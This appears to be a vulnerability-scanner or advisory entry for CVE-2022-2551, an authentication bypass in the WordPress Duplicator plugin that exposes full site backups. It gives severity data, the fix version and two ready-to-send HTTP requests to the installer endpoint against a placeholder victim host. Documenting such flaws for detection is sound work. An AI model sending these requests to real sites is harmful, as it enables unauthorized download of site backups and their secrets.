| Title | WordPress Duplicator <1.4.7 - Authentication Bypass |
|---|---|
| Author | LRTK-CODER |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or unauthorized actions on the affected WordPress site. |
| Remediation | Fixed in version 1.4.7.1. |
| CVSS Score | 7.5 |
| EPSS Score | 0.64813 |
| CVE ID | CVE-2022-2551 |
| CWE ID | CWE-425 |
| Tags | cve2022 cve wordpress wp wp-plugin duplicator wpscan snapcreek vkev vuln |
WordPress Duplicator plugin before 1.4.7 is susceptible to authentication bypass. The plugin discloses the URL of the backup to unauthenticated visitors accessing the main installer endpoint. If the installer script has been run once by an administrator, this allows download of the full site backup without proper authentication.
GET /wp-content/backups-dup-lite/dup-installer/main.installer.php?is_daws=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/dup-installer/main.installer.php?is_daws=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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